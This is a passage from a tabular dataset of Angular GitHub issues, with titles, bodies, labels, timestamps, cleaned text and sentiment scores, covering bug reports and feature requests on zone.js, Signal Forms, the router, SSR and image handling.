    / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|
                |___/


Angular CLI       : 21.1.4
Angular           : 21.1.4
Node.js           : 24.13.0
Package Manager   : pnpm 10.29.3
Operating System  : win32 x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations               │ 21.1.4            │ ^21.1.4           │
│ @angular/build                    │ 21.1.4            │ ^21.1.4           │
│ @angular/cdk           ... [TRUNCATED]",area: zones,2026-02-13 15:18:43+00:00,2026-02-17 19:32:51+00:00,4,area: zones,4.1765,zone js promise try is undefined which angular package s are the source of the bug zone js is this a regression no description in the static method recieved wide support in browsers zoneawarepromise does not implement it please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager pnpm win x package installed version requested version angular animations angular build angular cdk truncated,others,-0.8265
angular/angular,3937196243,"Unexpected 100vw image fetch when navigating away from components due to `sizes=""auto""` in Chromium","### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

**Description**

When navigating from a component containing an image with the `sizes=""auto, ...""` attribute to any other route using `routerLink`, Chromium-based browsers re-fetch the image. During this navigation, the browser appears to ignore the previous layout constraints and fetches a version from the `srcset` that matches `100vw` of the page width.

**Example Scenario:**

1. An image is displayed at `20vw` width on a `1000px` wide browser window.
2. The browser correctly fetches a `256px` wide image based on the `srcset`.
3. The user navigates to a different route.
4. The browser unexpectedly fetches a `1080px` wide image, seemingly treating the required size as `100vw`.

This behavior is documented in the attached screenshots and video.

**Current Constraints:**

- This occurs with both native `<img>` tags using `sizes=""auto""` and the `ngOptimizedImage` directive.
- `ngOptimizedImage` [currently prepends](https://github.com/angular/angular/blob/62453330f56dbfb65711692097189e13c528d522/packages/common/src/directives/ng_optimized_image/ng_optimized_image.ts#L500C4-L500C63) `auto` to the `sizes` attribute automatically, with no option to opt out.
- Because of this forced optimization, there is currently no way to prevent these redundant fetches in Chromium while using `ngOptimizedImage` with `sizes` set.

**Proposed Solution:**

I suggest addin... [TRUNCATED]","area: common,common: image directive",2026-02-13 13:29:03+00:00,2026-03-19 22:21:18+00:00,5,"area: common,common: image directive",34.3696,unexpected vw image fetch when navigating away from components due to in chromium which angular package s are the source of the bug don t known other is this a regression no description description when navigating from a component containing an image with the attribute to any other route using chromium based browsers re fetch the image during this navigation the browser appears to ignore the previous layout constraints and fetches a version from the that matches of the page width example scenario an image is displayed at width on a wide browser window the browser correctly fetches a wide image based on the the user navigates to a different route the browser unexpectedly fetches a wide image seemingly treating the required size as this behavior is documented in the attached and video current constraints this occurs with both native tags using and the directive currently prepends to the attribute automatically with no option to opt out because of this forced optimization there is currently no way to prevent these redundant fetches in chromium while using with set proposed solution i suggest addin truncated,others,-0.8625
angular/angular,3936769096,AsyncGenerator should not yield the result of awaited promises in finally block if return is called on it,"### Which @angular/* package(s) are the source of the bug?

zone.js

### Is this a regression?

No

### Description

I'm trying to use code that uses AsyncGenerator functions with angular.
In particular I want to be able to use `.return()` in order to interrupt the execution and move to a `finally` block where we need to do some cleanup.
That cleanup involves a request and so needed to be `await`ed. I was seeing the result of the request come though unexpectedly.
I then was able to produce the cutdown above.

[The same code with zoneless](https://stackblitz.com/edit/stackblitz-starters-bykf8ltx?file=src%2Fmain.ts) works, along with
[in typescript playground](https://www.typescriptlang.org/play/?target=10&jsx=0&module=7#code/GYVwdgxgLglg9mABAEwKYBsCGBPAap9EVAClgFtUAuRMEMgI1QCcAaRANwKOtoeYEpqABSZwyMAM6oAPL0ZMAfIgDeAKESImqKCCZIwqAO6IRYySWJaJcdO1T9EAXiVSoAFRgU4IKMWIPnTVRrWxJOQns2cnt+AG5VAF9VVUwJbEhEUEhYBAAqRAgtTChUAEE0yABxVAMmYrgmfxV1RCgmbGaNDWwYDGQTUXEpADorGztiAEY4lo1MQ0wYKBQMHHwI4gBWAAZttgAmGa7EHr6BsxGx0OIAZiPEBMyYMAJ0DrVj+cXltCw8LhIOz2iAALPdur10P1NvENEkNFodHpEAA2eJJVQQBASZbgWDoAAiCFQThaxFS6Qg1TA1HKlOpzHqTFkdHkCgCCjJsw4BGoAEkSnUoA0AErBEDoKAsviKFqCRACxnCphiiQSqVyZhKAA+5yGMkVQtF4sl0rZSkCHy6WLAIVQw3QcAA5sRwuDEDBgIhiABCcLDZDEhxW46I3RIClVGrDAwAD18-GGUAAFjViHiYITieSKlSavx3fCumHkeFYQ94ilc5lwNB4EgSjimlbXB4vD4-BzEAAOYEAdh29xtOJocDFSLAAGFXk4CkUSnSo7Umf5y8ObPbHS6AOSTRA3RCbVHeycNLTQfjb+5fJaj8fh6fodAx1Dx-xJ1NgdNgfFEgzEMAx20B9XgLSsNGHZZDCWZN7z0R90FnQpUGKMpcwZI1GhmFp13QTdnWIXdQW9ABlZNvChRBGEQ... [TRUNCATED]",,2026-02-13 11:44:57+00:00,2026-02-13 11:58:37+00:00,2,nan,0.0095,asyncgenerator should not yield the result of awaited promises in finally block if return is called on it which angular package s are the source of the bug zone js is this a regression no description i m trying to use code that uses asyncgenerator functions with angular in particular i want to be able to use in order to interrupt the execution and move to a block where we need to do some cleanup that cleanup involves a request and so needed to be ed i was seeing the result of the request come though unexpectedly i then was able to produce the cutdown above the same code with zoneless works along with in typescript playground truncated,others,-0.8625
angular/angular,3936498017,Signal forms: `focusBoundControl()` loses `this` context for custom controls with `focus()`,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

When a custom Signal Forms control defines a `focus()` method, calling `field().focusBoundControl()` invokes that method with a lost `this` context.

If `focus()` reads instance members (for example a `viewChild` signal), it throws at runtime.

```ts
@Component({
  selector: 'custom-control',
  host: {'tabindex': '-1'},
  template: '<input #input />',
})
class CustomControl {
  readonly value = model<string>();
  readonly input = viewChild.required<ElementRef<HTMLInputElement>>('input');

  focus() {
    // Fails when called
    this.input().nativeElement.focus();
  }
}

@Component({
  imports: [FormField, CustomControl],
  template: `<custom-control [formField]=""f"" />`,
})
class TestCmp {
  readonly f = form(signal(''));
}

it('repro', async () => {
  const fixture = TestBed.createComponent(TestCmp);
  await fixture.whenStable();
  // Throws: TypeError: this.input is not a function
  fixture.componentInstance.f().focusBoundControl();
});
```


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
TypeError: this.input is not a function
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.0-next.2
Angular           : 21.2.0-next.3
Node.js           : 22.22.0
Package Manager   : npm 10.9.0
Operating System  : darwin... [TRUNCATED]",,2026-02-13 10:33:48+00:00,2026-02-13 17:37:22+00:00,2,nan,0.2941,signal forms loses context for custom controls with which angular package s are the source of the bug forms is this a regression no description when a custom signal forms control defines a method calling invokes that method with a lost context if reads instance members for example a signal it throws at runtime please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli next angular next node js package manager npm darwin truncated,others,-0.8834
angular/angular,3933129438,Don't shown me Agin,"
Type: <b>Bug</b>

if i write somthing then autofill that code so i don't want that type

Extension version: 21.1.1
VS Code version: Code 1.109.2 (591199df409fbf59b4b52d5ad4ee0470152a9b31, 2026-02-10T20:18:23.520Z)
OS version: Windows_NT x64 10.0.19045
Modes:

<details>
<summary>System Info</summary>

|Item|Value|
|---|---|
|CPUs|Intel(R) Core(TM) i3-5010U CPU @ 2.10GHz (4 x 2095)|
|GPU Status|2d_canvas: enabled<br>GPU0: VENDOR= 0x8086, DEVICE=0x1616 [Intel(R) HD Graphics 5500], DRIVER_VENDOR=Intel, DRIVER_VERSION=20.19.15.4624 *ACTIVE*<br>GPU1: VENDOR= 0x1414, DEVICE=0x008c [Microsoft Basic Render Driver], DRIVER_VERSION=10.0.19041.5794<br>Machine model name: <br>Machine model version: <br>direct_rendering_display_compositor: disabled_off_ok<br>gpu_compositing: enabled<br>multiple_raster_threads: enabled_on<br>opengl: enabled_on<br>rasterization: enabled<br>raw_draw: disabled_off_ok<br>skia_graphite: disabled_off<br>trees_in_viz: disabled_off<br>video_decode: enabled<br>video_encode: enabled<br>webgl: enabled<br>webgl2: enabled<br>webgpu: enabled<br>webnn: disabled_off|
|Load (avg)|undefined|
|Memory (System)|3.92GB (0.78GB free)|
|Process Argv|--crash-reporter-id 45d9d123-4b35-45ac-9408-06b55b3d5e0f|
|Screen Reader|no|
|VM|0%|
</details><details>
<summary>A/B Experiments</summary>

```
vsliv368:30146709
binariesv615:30325510
nativeloc1:31344060
dwcopilot:31170013
dwoutputs:31242946
copilot_t_ci:31333650
e5gg6876:31282496
pythonrdcb7:31342333
6518g693:31436602
aj953862:31281... [TRUNCATED]",,2026-02-12 17:42:13+00:00,2026-02-12 18:05:02+00:00,1,nan,0.0158,don t shown me agin type bug if i write somthing then autofill that code so i don t want that type extension version vs code version code df fbf b b d ad ee a b t z os version windows nt x modes system info item value cpus intel r core tm i u cpu ghz x gpu status d canvas enabled gpu vendor x device x intel r hd graphics driver vendor intel driver version active gpu vendor x device x c microsoft basic render driver driver version machine model name machine model version direct rendering display compositor disabled off ok gpu compositing enabled multiple raster threads enabled on opengl enabled on rasterization enabled raw draw disabled off ok skia graphite disabled off trees in viz disabled off video decode enabled video encode enabled webgl enabled webgl enabled webgpu enabled webnn disabled off load avg undefined memory system gb gb free process argv crash reporter id d d b ac b b d e f screen reader no vm a b experiments vsliv binariesv nativeloc dwcopilot dwoutputs copilot t ci e gg pythonrdcb g aj truncated,others,0.6573
angular/angular,3928101299,API docs sometimes shows ‘any` instead of union type.,"### Describe the problem that you experienced

In some cases in the API docs `any` is used instead of the proper union.

Example: https://angular.dev/api/ssr/node/AngularNodeAppEngine

```ts
class AngularNodeAppEngine {
  handle(request: any, requestContext?: unknown): Promise<Response | null> 
}
```

Original DTS file from where the types are being extracted: https://app.unpkg.com/@angular/ssr@21.1.4/files/types/node.d.ts



",area: docs-infra,2026-02-11 18:47:41+00:00,2026-02-11 21:58:00+00:00,1,area: docs-infra,0.1322,api docs sometimes shows any instead of union type describe the problem that you experienced in some cases in the api docs is used instead of the proper union example original dts file from where the types are being extracted,documentation,-0.1027
angular/angular,3927398465,Expose ChangeDetectionSchedulerImpl for subclassing,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

`ChangeDetectionSchedulerImpl` is a great implementation of handling all of the various kinds of `NotificationSource`, and so it is convenient to use, but it also schedules change detection, which is something that, in certain scenarios, we would like to handle ourselves.



### Proposed solution

Change `ChangeDetectionSchedulerImpl` so that `notify` is basically implemented like this:
```typescript
public notify(source: NotificationSource) {
    this.setExternalDirtyFlags(source);
    if (this.shouldScheduleTick()) {
        this.scheduleTick();
    }
}
```
Where `setExternalDirtyFlags`, `shouldScheduleTick`, and `scheduleTick` would all be `protected` methods.
Additionally,  export `ChangeDetectionSchedulerImpl` as a public symbol, so that it can be sub-classed by user implementations.

This would allow us, in tests (for example), to use our own scheduler while still getting the standard dirty flags set, so that we don't need to deal with rogue `setTimeout`s being started (which is a condition that our test framework will fail a test for).  It would also prevent any source of non-determinism in our tests from change detection running at a time other than when the test asked for it to run.

### Alternatives considered

One alternative I tried was re-implementing `ChangeDetectionSchedulerImpl` ourselves, but it depends on other parts of Angular that are also not exported.

An... [TRUNCATED]","area: testing,area: core",2026-02-11 16:12:32+00:00,2026-02-12 19:52:44+00:00,14,"area: testing,area: core",1.1529,expose changedetectionschedulerimpl for subclassing which angular package s are relevant related to the feature request core description is a great implementation of handling all of the various kinds of and so it is convenient to use but it also schedules change detection which is something that in certain scenarios we would like to handle ourselves proposed solution change so that is basically implemented like this where and would all be methods additionally export as a public symbol so that it can be sub classed by user implementations this would allow us in tests for example to use our own scheduler while still getting the standard dirty flags set so that we don t need to deal with rogue s being started which is a condition that our test framework will fail a test for it would also prevent any source of non determinism in our tests from change detection running at a time other than when the test asked for it to run alternatives considered one alternative i tried was re implementing ourselves but it depends on other parts of angular that are also not exported an truncated,others,0.7906
angular/angular,3926265397,CSS @keyframes animations not running in production builds,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

Yes

### Description

Some @keyframes animations declared in CSS are not making it to production code. When inspecting elements the missing animation's name remains unchanged, while those animations that are working have been obfuscated as one would expect.

### Please provide a link to a minimal reproduction of the bug

https://github.com/binarybro/ng21-bug-css-animation-missing-in-prod

### Please provide the exception or error you saw

```true
no exceptions thrown.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.3
Angular           : 21.1.3
Node.js           : 22.19.0
Package Manager   : npm 10.9.3
Operating System  : darwin arm64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.1.3            │ ^21.1.3           │
│ @angular/cli              │ 21.1.3            │ ^21.1.3           │
│ @angular/common           │ 21.1.3            │ ^21.1.0           │
│ @angular/compiler         │ 21.1.3            │ ^21.1.0           │
│ @angular/compiler-cli     │ 21.1.3            │ ^21.1.0           │
│ @angular/core             │ 21.1.3            │ ^21.1.0           │
│ @angular/forms            │ 21.1.3           ... [TRUNCATED]",area: core,2026-02-11 12:23:45+00:00,2026-02-11 16:20:33+00:00,2,area: core,0.1644,css keyframes animations not running in production builds which angular package s are the source of the bug don t known other is this a regression yes description some keyframes animations declared in css are not making it to production code when inspecting elements the missing animation s name remains unchanged while those animations that are working have been obfuscated as one would expect please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm darwin arm package installed version requested version angular build angular cli angular common angular compiler angular compiler cli angular core angular forms truncated,others,-0.4215
angular/angular,3923984962,"`Route.canActivate` is effectively `any[]` due to `DeprecatedGuard = any`, allowing invalid guards and causing runtime failures","### Which @angular/* package(s) are relevant/related to the feature request?

router

### Description

The router’s `Route.canActivate` type is currently defined as:

```ts
canActivate?: (CanActivateFn | DeprecatedGuard)[];
```

Because `DeprecatedGuard` is an alias for `any`, this widens the entire union and causes
`canActivate` to be inferred as:

```ts
any[] | undefined
```

As a result, TypeScript no longer enforces guard correctness. Invalid route
configurations compile successfully but fail at runtime with confusing errors.

---

## Expected behavior

TypeScript should report errors for invalid `canActivate` entries, such as:

---

## Actual behavior

Invalid guard configurations compile without error and instead fail at runtime
with DI errors or unexpected `TypeError`s.

---

## Reproduction A (minimal)

```ts
const routes: Routes = [
  {
    path: 'test',
    canActivate: ['hi'],
  },
];
```

Navigate to `/test`.

### Runtime error

```
NullInjectorError
```

Angular attempts to resolve `'hi'` as a provider token.

---

## Reproduction B (realistic example: guard factory)

```ts
const permissionGuardFactory = (permissions: Permission[]): CanActivateFn => {
  // Let's pretend the permissionService expects a sorted list for the sake of example
  const sortedPermissions = permissions.sort();

  return () => permissionService.hasPermission(validPermissions);
};

const routes: Routes = [
  {
    path: 'test',
    // Compiles, but is not a CanActivateFn
    canActivate: [pe... [TRUNCATED]",,2026-02-10 23:18:44+00:00,2026-02-10 23:34:05+00:00,2,nan,0.0107,is effectively due to allowing invalid guards and causing runtime failures which angular package s are relevant related to the feature request router description the router s type is currently defined as because is an alias for this widens the entire union and causes to be inferred as as a result typescript no longer enforces guard correctness invalid route configurations compile successfully but fail at runtime with confusing errors typescript should report errors for invalid entries such as invalid guard configurations compile without error and instead fail at runtime with di errors or unexpected s reproduction a minimal navigate to runtime error angular attempts to resolve as a provider token reproduction b realistic example guard factory ts const permissionguardfactory permissions permission canactivatefn let s pretend the permissionservice expects a sorted list for the sake of example const sortedpermissions permissions sort return permissionservice haspermission validpermissions const routes routes path test compiles but is not a canactivatefn canactivate pe truncated,others,-0.8782
angular/angular,3922504751,SSR examples/templates derive SSR URL from Host / forwarded headers; add guidance + safer default patte,"### Which @angular/* package(s) are the source of the bug?

platform-server

### Is this a regression?

No

### Description

Im opening this issue because I have gone through the proper channels and have not received a satisfactory answer. I believe this is a real issue that should be taken seriously by the angular team. I would like to receive feedback about the finding before the report is closed.

### Description

### Summary
Some Angular SSR example/scaffolding patterns construct the SSR request URL using `req.headers.host` (and in common deployments may also involve forwarded headers). If applications then perform *relative* SSR `HttpClient` calls during render, those calls can be resolved against an attacker-influenced origin if the deployment trusts unvalidated header values.

This issue requests documentation / scaffolding changes so apps do not inherit an unsafe default.

### Why this matters
`Host` and `X-Forwarded-*` headers are not inherently trustworthy inputs. When used to construct a base URL for SSR routing and request resolution, they can steer server-side outbound requests in apps that do relative data fetching during SSR.

### Code references (in-repo)
- `angular/integration/platform-server/projects/ngmodule/server.ts`:
  - Constructs `url: \`${protocol}://${headers.host}${originalUrl}\``
- `angular/packages/platform-server/src/location.ts`:
  - `ServerPlatformLocation` consumes `INITIAL_CONFIG.url` and populates `protocol/hostname/port/...` from it.
- `ang... [TRUNCATED]","security,area: server",2026-02-10 16:50:33+00:00,2026-02-10 18:03:58+00:00,2,"security,area: server",0.051,ssr examples templates derive ssr url from host forwarded headers add guidance safer default patte which angular package s are the source of the bug platform server is this a regression no description im opening this issue because i have gone through the proper channels and have not received a satisfactory answer i believe this is a real issue that should be taken seriously by the angular team i would like to receive feedback about the finding before the report is closed description summary some angular ssr example scaffolding patterns construct the ssr request url using and in common deployments may also involve forwarded headers if applications then perform relative ssr calls during render those calls can be resolved against an attacker influenced origin if the deployment trusts unvalidated header values this issue requests documentation scaffolding changes so apps do not inherit an unsafe default why this matters and headers are not inherently trustworthy inputs when used to construct a base url for ssr routing and request resolution they can steer server side outbound requests in apps that do relative data fetching during ssr code references in repo constructs protocol headers host originalurl consumes and populates from it ang truncated,others,-0.4037
angular/angular,3921657645,Signals Forms: add a way to trigger the validation manually,"### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

With the Reactive Forms API, we are able to trigger the validation with `updateValueAndValidity`.

Some custom validator (especially async ones) are not idempotent: they might be false due to some third party actions between the reactive validation and the form submission.

Currently we have no way to trigger the validation manually.

### Proposed solution

Having a dedicated function exposed on `FieldState`.

### Alternatives considered

No idea","area: forms,forms: signals",2026-02-10 14:05:06+00:00,2026-03-19 22:22:15+00:00,4,"area: forms,forms: signals",37.3452,signals forms add a way to trigger the validation manually which angular package s are relevant related to the feature request forms description with the reactive forms api we are able to trigger the validation with some custom validator especially async ones are not idempotent they might be false due to some third party actions between the reactive validation and the form submission currently we have no way to trigger the validation manually proposed solution having a dedicated function exposed on alternatives considered no idea,others,0.5106
angular/angular,3919951793,FEATURE: support 'args' parameter for `ValidationError` Signal Forms,"### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

In *Reactive and Template Forms* validators return also information about so called 'args', that are information about some additional data that could be used to render validation error. For example for min validator you would obtain current and required value
```ts
{
   ""min"": 10,
   ""current"": 5,
}
```

These values you can use when creating message, which is especially useful when using something like `@ngx-translate` and you want to have one message template which is parametrized for example
```ts
""Minimal allowed value is {{min}}""
```

### Proposed solution

It would be awesome if we have same possibility in *Signal Forms*. It can be achieved by extending `ValidationError` interface with new property `args?: Record<string, any>` which allows us to pass down additional values, or even validator function itself to fill it with some predefined values like for `min()` validation function it would fill `minValue` to this `args`.

### Alternatives considered

Currently its achievable by complicated passing values down to template using some property on component. ",,2026-02-10 07:46:02+00:00,2026-02-10 12:33:11+00:00,4,nan,0.1994,feature support args parameter for signal forms which angular package s are relevant related to the feature request forms description in reactive and template forms validators return also information about so called args that are information about some additional data that could be used to render validation error for example for min validator you would obtain current and required value these values you can use when creating message which is especially useful when using something like and you want to have one message template which is parametrized for example proposed solution it would be awesome if we have same possibility in signal forms it can be achieved by extending interface with new property which allows us to pass down additional values or even validator function itself to fill it with some predefined values like for validation function it would fill to this alternatives considered currently its achievable by complicated passing values down to template using some property on component,bug,0.9823
angular/angular,3919771814,FEATURE: enable deconstruction in templates,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Another good feature that would be awesome in templates would be *deconstruction* of arrays and objects.

### Proposed solution

for example

```ts
export interface Person
{
    name: string;
    surname: string;
    age: number;
    address: string;
}

```

```html
@for({name, surname} of persons; track surname)
{
     <div>NAME: {{name}}</div>
     <div>SURNAME: {{surname}}</div>
}
```

or with `let` syntax

```html
@let {name} = person;
```

same with arrays
```html
@let [firstPerson] = persons;
```

### Alternatives considered

Dont know alternatives.",,2026-02-10 06:51:51+00:00,2026-02-10 10:54:27+00:00,1,nan,0.1685,feature enable deconstruction in templates which angular package s are relevant related to the feature request no response description another good feature that would be awesome in templates would be deconstruction of arrays and objects proposed solution for example or with syntax same with arrays alternatives considered dont know alternatives,feature,0.7964
angular/angular,3919516542,Signal form: FormField does not apply min validator on native input if its type is dynamic,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

Usually, using a `min` validator (and other similar) in a form schema will apply the `min` attribute on the native HTML element. So that the browser can enforce it. However when the type of the input is dynamic, then those attribute are never applied.

This prevent us from implementing our own component that would wrap an `<input>`, even if the type does not actually change during its lifetime. At the minimum, I would expect to be able to set the `type` attribute dynamically at least one time during construction.

#### Potential fix

This bug occurs because `FormField.elementAcceptsNumericValues` (and similar) are set only once, during construction. And it is never updated when the type attribute might change. I would expect that boolean to a signal of boolean, so that attribute might be applied, or removed, whenever the type changes.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/zbvsy93w-dlzorsky?file=src%2Fmain.ts

### Please provide the exception or error you saw

The first input correctly restrict age to be greater or equal to 18.

The second input incorrectly does not restrict anything, because the type binding: `<input [type]=""myType()"">

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.2
Angular           : 21.1.2
Node.js           : 20.19.1
Pac... [TRUNCATED]","area: forms,forms: signals",2026-02-10 05:25:27+00:00,2026-04-03 17:18:12+00:00,3,"area: forms,forms: signals",52.495,signal form formfield does not apply min validator on native input if its type is dynamic which angular package s are the source of the bug forms is this a regression no description usually using a validator and other similar in a form schema will apply the attribute on the native html element so that the browser can enforce it however when the type of the input is dynamic then those attribute are never applied this prevent us from implementing our own component that would wrap an even if the type does not actually change during its lifetime at the minimum i would expect to be able to set the attribute dynamically at least one time during construction potential fix this bug occurs because and similar are set only once during construction and it is never updated when the type attribute might change i would expect that boolean to a signal of boolean so that attribute might be applied or removed whenever the type changes please provide a link to a of the bug please provide the exception or error you saw the first input correctly restrict age to be greater or equal to the second input incorrectly does not restrict anything because the type binding please provide the environment you discovered this bug in run true angular cli angular node js pac truncated,others,-0.2204
angular/angular,3913413074,VSCode Angular Language Service incorrectly flags   as an error in Angular 17 + Ionic 7,"### Is this a bug report or a feature request?

- [x] Bug Report
- [ ] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

## Description

In an Angular 17 + Ionic 7 (standalone) project, VSCode’s Angular Language Service shows a red underline (error) on the `<img>` tag or its `src` attribute, even though:

- The image exists in `src/assets`
- The path is correct
- The application runs normally
- No build errors occur
- The image displays correctly in the browser

This appears to be a false-positive template type-checking error. The problem occurs only on `<img>`, not on other HTML elements.

---

## What I have tried (none of these suppress the error)

### VSCode settings:
{
  ""angular.suggest.strictTemplates"": true,
  ""angular.templateValidation"": ""basic"",
  ""angular.suppressUnknownElements"": [""img""],
  ""angular.suppressInvalidHtmlAttribute"": [""src""]
}

### Template ignore directives:
<!-- @ts-ignore -->
<img src=""assets/example.png"">

### Angular compiler options:
{
  ""angularCompilerOptions"": {
    ""strictTemplates"": true,
    ""strictDomEventTypes"": false,
    ""strictDomLocalRefTypes"": false
  }
}

None of these have any effect. The red underline remains only on `<img>`.

---

## Steps to reproduce

1. Create a new Ionic Angular project (standalone)
2. Place any image in `src/assets`
3. Add this to any template:
   <img src=""assets/example.png"">
4. VSCode shows a red underline on the `<img>` tag or `src` attribute
5. Run the app:
   ion... [TRUNCATED]",needs reproduction,2026-02-08 19:46:03+00:00,2026-02-09 20:50:39+00:00,5,needs reproduction,1.0449,vscode angular language service incorrectly flags as an error in angular ionic x bug report feature request please provide the the issue bug report only description in an angular ionic standalone project vscode s angular language service shows a red underline error on the tag or its attribute even though the image exists in the path is correct the application runs normally no build errors occur the image displays correctly in the browser this appears to be a false positive template type checking error the problem occurs only on not on other html elements what i have tried none of these suppress the error vscode settings angular suggest stricttemplates true angular templatevalidation basic angular suppressunknownelements img angular suppressinvalidhtmlattribute src template ignore directives angular compiler options angularcompileroptions stricttemplates true strictdomeventtypes false strictdomlocalreftypes false none of these have any effect the red underline remains only on create a new ionic angular project standalone place any image in add this to any template vscode shows a red underline on the tag or attribute run the app ion truncated,bug,-0.9217
angular/angular,3911533143,Signal Forms: Debounce async validation,"### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

Overall, I really enjoy working with the new signal forms and the validation API. The simple and efficient usage has already helped me reduce a significant amount of boilerplate code, and validation logic feels much more straightforward compared to previous approaches.

I’m aware that it’s possible to debounce all validators using the `debounce()` function. However, I think it would be beneficial to allow debouncing directly inside `validateAsync()`. This would help reduce unnecessary server calls while still allowing synchronous validators to run without any delay.

### Proposed solution

Since `validateAsync()` is only called once and only its parameters are updated to trigger the factory, it would make sense to allow debouncing of parameter updates. For example, parameter changes could only be emitted if the value remains unchanged for a certain amount of time.

Abstract example for better understanding:

```ts
validateAsync(field, {
    params: ({ value }) => {
      // It could be useful to allow debouncing here,
      // so the value is only emitted once it stays stable
      // for a certain amount of time, limiting async calls.
      return value()
    },
    factory: (params) => {
      return rxResource({
        params,
        stream: ({ params }) => {
            // async call
        }})
    },
    onSuccess: () => null,
    onError: () => null,
```

### Alterna... [TRUNCATED]","area: forms,forms: signals",2026-02-07 23:17:39+00:00,2026-03-26 11:34:55+00:00,5,"area: forms,forms: signals",46.512,signal forms debounce async validation which angular package s are relevant related to the feature request forms description overall i really enjoy working with the new signal forms and the validation api the simple and efficient usage has already helped me reduce a significant amount of boilerplate code and validation logic feels much more straightforward compared to previous approaches i m aware that it s possible to debounce all validators using the function however i think it would be beneficial to allow debouncing directly inside this would help reduce unnecessary server calls while still allowing synchronous validators to run without any delay proposed solution since is only called once and only its parameters are updated to trigger the factory it would make sense to allow debouncing of parameter updates for example parameter changes could only be emitted if the value remains unchanged for a certain amount of time abstract example for better understanding alterna truncated,others,0.9754
angular/angular,3911190907,Clarify “legacy” terminology for Reactive Forms in Signal Forms migration guide,"### Describe the problem that you experienced

In the migration guide, Reactive Forms are referred to as “legacy”. As far as I know, Reactive Forms are still fully supported and not deprecated.
Could we consider removing or rephrasing the term “legacy” to avoid confusion?

### Enter the URL of the topic with the problem

https://next.angular.dev/guide/forms/signals/migration



 ",area: forms,2026-02-07 20:44:38+00:00,2026-02-09 20:24:05+00:00,2,area: forms,1.9857,clarify legacy terminology for reactive forms in signal forms migration guide describe the problem that you experienced in the migration guide reactive forms are referred to as legacy as far as i know reactive forms are still fully supported and not deprecated could we consider removing or rephrasing the term legacy to avoid confusion enter the url of the topic with the problem,others,-0.7357
angular/angular,3910695074,Default signal value on initialization,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Currently when we declare a signal property we initialize it with the value of that type. For example:
```
readonly num = signal(0)
``` 

This works well for scenarios where the type is primitive and we know the initial / default value in advance.

It becomes a little bit ugly when it comes to complex types:
```
// here we either have to initialize a dummy user object
readonly user = signal<User>({...})
// or loosen the type and add undefined
readonly user = signal<User | undefined>(undefined)
```

The former is inconvenient and ugly, the latter is verbose and creates unnecessary visual noise.

### Proposed solution

What if we could declare signals without initial value and it would default to undefined?
```
readonly user = signal<User>();
typeof user === User | undefined
```

It aligns with how inputs and models initialized as well.



### Alternatives considered

-",,2026-02-07 16:43:15+00:00,2026-02-07 16:49:14+00:00,2,nan,0.0042,default signal value on initialization which angular package s are relevant related to the feature request no response description currently when we declare a signal property we initialize it with the value of that type for example this works well for scenarios where the type is primitive and we know the initial default value in advance it becomes a little bit ugly when it comes to complex types the former is inconvenient and ugly the latter is verbose and creates unnecessary visual noise proposed solution what if we could declare signals without initial value and it would default to undefined it aligns with how inputs and models initialized as well alternatives considered,others,0.6764
angular/angular,3910693735,Why suffix-less naming should be opt-in rather than the default,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

I know this topic has been discussed a lot, and I’m aware that there was significant pushback during the RFC phase that ultimately didn’t change the outcome. Still I want to make one more attempt to explain why making suffix-less naming the default was imo a mistake.

To do that, I want to differentiate between two groups of developers. This is obviously a simplification, but it’s useful for understanding the impact of this decision.

Group 1 consists of developers who are highly engaged with their code and tools. They actively follow framework changes, read RFCs, experiment with new features, and care deeply about naming and architecture. I’ll refer to them as ""informed developers"".

Group 2 consists of developers who mostly don’t engage at that level. This isn’t meant to be a judgment. Many may be overworked, new to the ecosystem or programming in general, inherited legacy codebases, and some simply don’t have the time/energy or motivation to stay up to date. In my experience the vast majority of developers fall in this group or somewhere in between at least.

Now let’s look at how this change affects each group.

